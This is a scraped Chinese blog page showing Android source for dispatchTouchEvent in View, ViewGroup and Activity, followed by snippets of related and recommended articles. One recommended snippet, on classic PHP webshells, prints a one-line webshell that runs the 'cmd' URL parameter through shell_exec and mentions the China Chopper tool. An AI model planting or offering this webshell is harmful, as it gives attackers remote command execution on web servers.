View

/**
 * Pass the touch screen motion event down to the target view, or this
 * view if it is the target.
 *
 *
@param event The motion event to be dispatched.
 *
@return True if the event was handled by the view, false otherwise.
 */
public boolean dispatchTouchEvent(MotionEvent event) {
    // If the event should be handled by accessibility focus first.
   
if (event.isTargetAccessibilityFocus()) {
        // We don't have focus or no virtual descendant has it, do not handle the event.
       
if (!isAccessibilityFocusedViewOrHost()) {
            return false;
        }
        // We have focus and got the event, then use normal event dispatch.
       
event.setTargetAccessibilityFocus(false);
    }

boolean result = false;

if (mInputEventConsistencyVerifier != null) {
        mInputEventConsistencyVerifier.onTouchEvent(event, 0);
    }

final int actionMasked = event.getActionMasked();
    if (actionMasked == MotionEvent.ACTION_DOWN) {
        // Defensive cleanup for new gesture
       
stopNestedScroll();
    }

if (onFilterTouchEventForSecurity(event)) {
        //noinspection SimplifiableIfStatement
       
ListenerInfo li = mListenerInfo;
        if (li != null && li.mOnTouchListener != null
               
&& (mViewFlags & ENABLED_MASK) == ENABLED
               
&& li.mOnTouchListener.onTouch(this, event)) {
            result = true;
        }

if (!result && onTouchEvent(event)) {
            result = true;
        }
    }

if (!result && mInputEventConsistencyVerifier != null) {
        mInputEventConsistencyVerifier.onUnhandledEvent(event, 0);
    }

// Clean up after nested scrolls if this is the end of a gesture;
    // also cancel it if we tried an ACTION_DOWN but we didn't want the rest
    // of the gesture.
   
if (actionMasked == MotionEvent.ACTION_UP ||
            actionMasked == MotionEvent.ACTION_CANCEL ||
            (actionMasked == MotionEvent.ACTION_DOWN && !result)) {
        stopNestedScroll();
    }

return result;
}

ViewGroup

@Override
public boolean dispatchTouchEvent(MotionEvent ev) {
    if (mInputEventConsistencyVerifier != null) {
        mInputEventConsistencyVerifier.onTouchEvent(ev, 1);
    }

// If the event targets the accessibility focused view and this is it, start
    // normal event dispatch. Maybe a descendant is what will handle the click.
   
if (ev.isTargetAccessibilityFocus() && isAccessibilityFocusedViewOrHost()) {
        ev.setTargetAccessibilityFocus(false);
    }

boolean handled = false;
    if (onFilterTouchEventForSecurity(ev)) {
        final int action = ev.getAction();
        final int actionMasked = action & MotionEvent.ACTION_MASK;

// Handle an initial down.
       
if (actionMasked == MotionEvent.ACTION_DOWN) {
            // Throw away all previous state when starting a new touch gesture.
            // The framework may have dropped the up or cancel event for the previous gesture
            // due to an app switch, ANR, or some other state change.
           
cancelAndClearTouchTargets(ev);
            resetTouchState();
        }

// Check for interception.
       
final boolean intercepted;
        if (actionMasked == MotionEvent.ACTION_DOWN
               
|| mFirstTouchTarget != null) {
            final boolean disallowIntercept = (mGroupFlags & FLAG_DISALLOW_INTERCEPT) != 0;
            if (!disallowIntercept) {
                intercepted = onInterceptTouchEvent(ev);
                ev.setAction(action); // restore action in case it was changed
           
} else {
                intercepted = false;
            }
        } else {
            // There are no touch targets and this action is not an initial down
            // so this view group continues to intercept touches.
           
intercepted = true;
        }

// If intercepted, start normal event dispatch. Also if there is already
        // a view that is handling the gesture, do normal event dispatch.
       
if (intercepted || mFirstTouchTarget != null) {
            ev.setTargetAccessibilityFocus(false);
        }

// Check for cancelation.
       
final boolean canceled = resetCancelNextUpFlag(this)
                || actionMasked == MotionEvent.ACTION_CANCEL;

// Update list of touch targets for pointer down, if needed.
       
final boolean split = (mGroupFlags & FLAG_SPLIT_MOTION_EVENTS) != 0;
        TouchTarget newTouchTarget = null;
        boolean alreadyDispatchedToNewTouchTarget = false;
        if (!canceled && !intercepted) {

// If the event is targeting accessiiblity focus we give it to the
            // view that has accessibility focus and if it does not handle it
            // we clear the flag and dispatch the event to all children as usual.
            // We are looking up the accessibility focused host to avoid keeping
            // state since these events are very rare.
           
View childWithAccessibilityFocus = ev.isTargetAccessibilityFocus()
                    ? findChildWithAccessibilityFocus() : null;

if (actionMasked == MotionEvent.ACTION_DOWN
                   
|| (split && actionMasked == MotionEvent.ACTION_POINTER_DOWN)
                    || actionMasked == MotionEvent.ACTION_HOVER_MOVE) {
                final int actionIndex = ev.getActionIndex(); // always 0 for down
               
final int idBitsToAssign = split ? 1 << ev.getPointerId(actionIndex)
                        : TouchTarget.ALL_POINTER_IDS;

// Clean up earlier touch targets for this pointer id in case they
                // have become out of sync.
               
removePointersFromTouchTargets(idBitsToAssign);

final int childrenCount = mChildrenCount;
                if (newTouchTarget == null && childrenCount != 0) {
                    final float x = ev.getX(actionIndex);
                    final float y = ev.getY(actionIndex);
                    // Find a child that can receive the event.
                    // Scan children from front to back.
                   
final ArrayList<View> preorderedList = buildOrderedChildList();
                    final boolean customOrder = preorderedList == null
                           
&& isChildrenDrawingOrderEnabled();
                    final View[] children = mChildren;
                    for (int i = childrenCount - 1; i >= 0; i--) {
                        final int childIndex = customOrder
                                ? getChildDrawingOrder(childrenCount, i) : i;
                        final View child = (preorderedList == null)
                                ? children[childIndex] : preorderedList.get(childIndex);

// If there is a view that has accessibility focus we want it
                        // to get the event first and if not handled we will perform a
                        // normal dispatch. We may do a double iteration but this is
                        // safer given the timeframe.
                       
if (childWithAccessibilityFocus != null) {
                            if (childWithAccessibilityFocus != child) {
                                continue;
                            }
                            childWithAccessibilityFocus = null;
                            i = childrenCount - 1;
                        }

if (!canViewReceivePointerEvents(child)
                                || !isTransformedTouchPointInView(x, y, child, null)) {
                            ev.setTargetAccessibilityFocus(false);
                            continue;
                        }

newTouchTarget = getTouchTarget(child);
                        if (newTouchTarget != null) {
                            // Child is already receiving touch within its bounds.
                            // Give it the new pointer in addition to the ones it is handling.
                           
newTouchTarget.pointerIdBits |= idBitsToAssign;
                            break;
                        }

resetCancelNextUpFlag(child);
                        if (dispatchTransformedTouchEvent(ev, false, child, idBitsToAssign)) {
                            // Child wants to receive touch within its bounds.
                           
mLastTouchDownTime = ev.getDownTime();
                            if (preorderedList != null) {
                                // childIndex points into presorted list, find original index
                               
for (int j = 0; j < childrenCount; j++) {
                                    if (children[childIndex] == mChildren[j]) {
                                        mLastTouchDownIndex = j;
                                        break;
                                    }
                                }
                            } else {
                                mLastTouchDownIndex = childIndex;
                            }
                            mLastTouchDownX = ev.getX();
                            mLastTouchDownY = ev.getY();
                            newTouchTarget = addTouchTarget(child, idBitsToAssign);
                            alreadyDispatchedToNewTouchTarget = true;
                            break;
                        }

// The accessibility focus didn't handle the event, so clear
                        // the flag and do a normal dispatch to all children.
                       
ev.setTargetAccessibilityFocus(false);
                    }
                    if (preorderedList != null) preorderedList.clear();
                }

if (newTouchTarget == null && mFirstTouchTarget != null) {
                    // Did not find a child to receive the event.
                    // Assign the pointer to the least recently added target.
                   
newTouchTarget = mFirstTouchTarget;
                    while (newTouchTarget.next != null) {
                        newTouchTarget = newTouchTarget.next;
                    }
                    newTouchTarget.pointerIdBits |= idBitsToAssign;
                }
            }
        }

// Dispatch to touch targets.
       
if (mFirstTouchTarget == null) {
            // No touch targets so treat this as an ordinary view.
           
handled = dispatchTransformedTouchEvent(ev, canceled, null,
                    TouchTarget.ALL_POINTER_IDS);
        } else {
            // Dispatch to touch targets, excluding the new touch target if we already
            // dispatched to it.  Cancel touch targets if necessary.
           
TouchTarget predecessor = null;
            TouchTarget target = mFirstTouchTarget;
            while (target != null) {
                final TouchTarget next = target.next;
                if (alreadyDispatchedToNewTouchTarget && target == newTouchTarget) {
                    handled = true;
                } else {
                    final boolean cancelChild = resetCancelNextUpFlag(target.child)
                            || intercepted;
                    if (dispatchTransformedTouchEvent(ev, cancelChild,
                            target.child, target.pointerIdBits)) {
                        handled = true;
                    }
                    if (cancelChild) {
                        if (predecessor == null) {
                            mFirstTouchTarget = next;
                        } else {
                            predecessor.next = next;
                        }
                        target.recycle();
                        target = next;
                        continue;
                    }
                }
                predecessor = target;
                target = next;
            }
        }

// Update list of touch targets for pointer up or cancel, if needed.
       
if (canceled
                || actionMasked == MotionEvent.ACTION_UP
               
|| actionMasked == MotionEvent.ACTION_HOVER_MOVE) {
            resetTouchState();
        } else if (split && actionMasked == MotionEvent.ACTION_POINTER_UP) {
            final int actionIndex = ev.getActionIndex();
            final int idBitsToRemove = 1 << ev.getPointerId(actionIndex);
            removePointersFromTouchTargets(idBitsToRemove);
        }
    }

if (!handled && mInputEventConsistencyVerifier != null) {
        mInputEventConsistencyVerifier.onUnhandledEvent(ev, 1);
    }
    return handled;
}

private View findChildWithAccessibilityFocus() {
    ViewRootImpl viewRoot = getViewRootImpl();
    if (viewRoot == null) {
        return null;
    }

View current = viewRoot.getAccessibilityFocusedHost();
    if (current == null) {
        return null;
    }

ViewParent parent = current.getParent();
    while (parent instanceof View) {
        if (parent == this) {
            return current;
        }
        current = (View) parent;
        parent = current.getParent();
    }

return null;
}

public boolean dispatchTouchEvent(MotionEvent ev) {
    if (ev.getAction() == MotionEvent.ACTION_DOWN) {
        onUserInteraction();
    }
    if (getWindow().superDispatchTouchEvent(ev)) {
        return true;
    }
    return onTouchEvent(ev);
}

public abstract boolean superDispatchTouchEvent(MotionEvent event);

dispatchTouchEvent的更多相关文章

  1. 事件分发时候的onTouchEvent,onInterceptTouchEvent,dispatchTouchEvent调用顺序

    一直想弄清楚onTouchEvent,onInterceptTouchEvent,dispatchTouchEvent的执行顺序,以及内部使用switch (event.getAction())中的执 ...

  2. Android Touch事件传递机制 一: OnTouch,OnItemClick(监听器),dispatchTouchEvent(伪生命周期)

      ViewGroup View  Activity dispatchTouchEvent 有 有 有 onInterceptTouchEvent 有 无 无 onTouchEvent 有 有 有 例 ...

  3. android-8~23 View.java - dispatchTouchEvent源码

    android-8 /** * Pass the touch screen motion event down to the target view, or this * view if it is ...

  4. android-23 View.java - dispatchTouchEvent源码

    public class View implements Drawable.Callback, KeyEvent.Callback, AccessibilityEventSource { /** * ...

  5. Android中的dispatchTouchEvent()、onInterceptTouchEvent()和onTouchEvent()

     dispatchTouchEvent (分发TouchEvent) 处理触摸事件分发,事件(多数情况)是从Activity的dispatchTouchEvent开始的.执行super.dispatc ...

  6. Android dispatchTouchEvent介绍

    一个最简单的屏幕触摸动作触发了一系列Touch事件:ACTION_DOWN->ACTION_MOVE->ACTION_MOVE->ACTION_MOVE...->ACTION_ ...

  7. Android学习笔记之dispatchTouchEvent和OnInterceptTouchEvent和OnTouchEvent三个方法之间的联系...

    PS:好久没有写博客了,项目正式开始启动了,但是怎么也打不起精神来...可能还是不适应放假留校...这下一年只能回家一次了...伤感...写篇博客舒坦下... 学习内容:   Android中disp ...

  8. 修改 dispatchTouchEvent方法 来处理事件冲突

    PagerIndicator把事件给拦截了  我修改了他的  dispatchTouchEvent方法 请求他爹和他祖宗不要拦截我的事件 根据事件分发机制 dispatchTouchEvent-> ...

  9. android onclick onLongClick ontouch dispatchTouchEvent onInterceptTouchEvent

    android onclick onLongClick ontouch dispatchTouchEvent onInterceptTouchEvent 按ACTION_DOWN -> onLo ...

  10. dispatchTouchEvent & onInterceptTouchEvent & onTouchEvent

    http://www.cnblogs.com/jqyp/archive/2012/04/25/2469758.html dispatchTouchEvent       分发 onInterceptT ...

随机推荐

  1. Tomcat启动时项目重复加载的问题

    最近在项目开发测试的时候,发现Tomcat启动时项目重复加载,导致资源初始化两次的问题  导致该问题的原因: 如下图:在Eclipse中将Server Locations设置为“Use Tomcat ...

  2. biztalk rosettanet 自定义 pip code

    USE [BTARNDATA] GO /****** Object: StoredProcedure [dbo].[proc_GetActivityStatus] Script Date: 09/16 ...

  3. Django 学习笔记(三) --- HTML 模版加载 css、js、img 静态文件

    人生苦短 ~ Tips:仅适用于 Python 3+(反正差别不大,py2 改改也能用).因为据 Python 之父 Guido van Rossum 说会在 2020 年停止对 Python 2 的 ...

  4. 几种好用的经典webshell(php)

    php经典一句话: <?php echo shell_exec($_GET['cmd']);?> 中国菜刀:官网:www.maicaidao.co原理:上传一句话(<?php @ev ...

  5. 对Spring中IOC和DI的理解

    前几篇讲了Spring中IOC和DI的用法,本篇应该放到三篇之前,但一直没有想到好的讲解方式,后参考https://blog.csdn.net/luoyepiaoxue2014/article/det ...

  6. JavaScript--水平幻灯片

    // 列表布局,图片左浮动,外侧容器设置overflow:hidden; // 组合使用构造函数模式(对象不共享的数据)和原型模式(对象共享的数据) <!DOCTYPE html> < ...

  7. display: flex; 布局

    废话不多说,供上我学习Flex布局的启蒙文章,一切的答案,尽在这里,仔细阅读,多多回味!保证你有所收获! http://www.ruanyifeng.com/blog/2015/07/flex-gra ...

  8. Python 简单分页思路

    一: li = [] for i in range(1000): li.append(i) while True: p = input('input page: ') p = int(p) start ...

  9. 2017-11-20 中文代码示例之Vuejs入门教程(一)问题后续

    "中文编程"知乎专栏原文 第一个issue: Error compiling template if using unicode naming as v-for alias · I ...

  10. 【读书笔记】iOS-强类型与弱类型

    id类型是一个通用类型,OC使用id表示任意类型的对象,它可以作为一个占位符表示这是一个不确定的类型的对象或者引用.因此,所有的对象都 可以用id来表示.这很有用,想象一下,如果你需要实现一个通用的链 ...